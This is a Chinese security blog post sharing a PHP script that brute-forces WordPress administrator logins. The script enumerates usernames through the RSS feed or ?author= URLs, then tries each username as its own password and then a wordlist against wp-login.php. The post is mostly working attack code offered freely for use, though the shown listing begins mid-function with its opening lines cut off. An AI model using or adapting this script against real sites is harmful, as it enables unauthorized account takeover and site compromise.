WordPress 登陆密码破解脚本

独自等待 2017年5月12日02:03:06评论481 views字数 525阅读1分45秒阅读模式

我们在渗透测试中,经常会遇到wordpress搭建的博客,但是wordpress博客本身是很安全的,除非是插件有漏洞,这就给我们的测试造成了一定的障碍。

由于Wordpress后台登陆无验证码,所以我们就可以通过暴力破解来获取后台登陆密码,参考大牛的代码,折腾了一下脚本来破解,喜欢的拿去。。

使用方法:

php wp_crack.php localhost /wp

代码参考了 瞌睡龙 大牛写的脚本,原文地址为:

跑wordpress用户密码脚本

由于瞌睡龙大牛的脚本默认是采用?author=这样的方式来获取用户名,但是基本上80%的wp博客都是使用URL重写的功能,所以使用这种方法很难获取到用户名,网上搜索了一下,增加了feed方式获取用户名,使脚本运行更加灵活。。

当使用feed方式获得脚本不成功以后,会使用?author的方式来获取,默认取前5个用户名,大家可以把5改的更大一点,以获取更多的用户名。

wordpress最新版加强了这方面的防护,所以本脚本不支持3.6.1以上版本。(当时我还以为脚本写错了,折腾了半天才发现。shit)

wordpress登陆密码破解脚本源代码:

<\!\[CDATA\[(.*?)\]\]><\/dc:creator>/', $res, $authors)) {
            $authors = array_unique($authors[1]);
        } else if (preg_match_all('/(.*?)<\/dc:creator>/', $res, $authors)) {
            $authors = array_unique($authors[1]);
        }
    } else {
        for ($i = 1; $i <= 5; $i++) {
            $url = "http://$host/$path/?author=$i";
            $res = send_pack($url, 0);
            preg_match('/title=\'(.*?)\' rel=\'me\'/i', $res, $users);
            $authors[] = $users[1];
            $authors = array_filter($authors);
        }
    }
    return $authors;
}

echo '共获取用户名:' . count($auth) . "个\n\n";
//print_r($auth);
$passwords = file('pass.txt');
echo '正在破解用户名和密码相同的用户:' . "\n\n";
$cracked = crack_login($auth, 'same');
echo '正在破解存在弱口令的用户:' . "\n\n";
if ($cracked) {
    $auth = array_diff($auth, $cracked);
}
crack_login($auth, $passwords);
//破解用户名和密码函数
function crack_login($user_arr, $pass_arr)
{
    global $host, $path;
    $url = "http://$host/$path/wp-login.php";
    $cracked = array();
    foreach ($user_arr as $user) {
        $user = iconv('utf-8', 'gbk//IGNORE', $user);
        if ($pass_arr == 'same') {
            $post = "log=" . urlencode($user) . "&pwd=" . urlencode($user) . "&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=" . urlencode("http://$host/$path/") . "%2Fwp-admin%2F&testcookie=1";
            $res = send_pack($url, $post);
            if (strpos($res, 'div id="login_error"') === false) {
                echo '用户名:' . $user . '   密码:' . $user . "\n\n";
                $cracked[] = $user;
            }
        } else {
            $pass_arr = array_unique($pass_arr);
            foreach ($pass_arr as $pass) {
                $pass = trim($pass);
                $post = "log=" . urlencode($user) . "&pwd=" . urlencode($pass) . "&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=http%3A%2F%2Flocalhost%2Fwordpress%2Fwp-admin%2F&testcookie=1";
                $res = send_pack($url, $post);
                //fwrite(fopen('a.txt','w'),$res);exit;
                if (strpos($res, 'div id="login_error"') === false) {
                    echo '用户名:' . $user . '   密码:' . $pass . "\n\n";
                }
            }
        }
    }
    return $cracked;
}

//发送数据包函数
function send_pack($url, $post)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    if ($post) {
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    }
    $response = curl_exec($ch);
    curl_close($ch);
    return $response;
}

//时间统计函数
function func_time()
{
    list($microsec, $sec) = explode(' ', microtime());
    return $microsec + $sec;
}

echo '脚本执行时间:' . round((func_time() - $start_time), 4) . '秒。';
?> 

脚本运行效果如下:



from www.waitalone.cn.thanks for it.

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
独自等待
  • 本文由 发表于 2017年5月12日02:03:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WordPress 登陆密码破解脚本http://cn-sec.com/archives/50318.html

发表评论

匿名网友 填写信息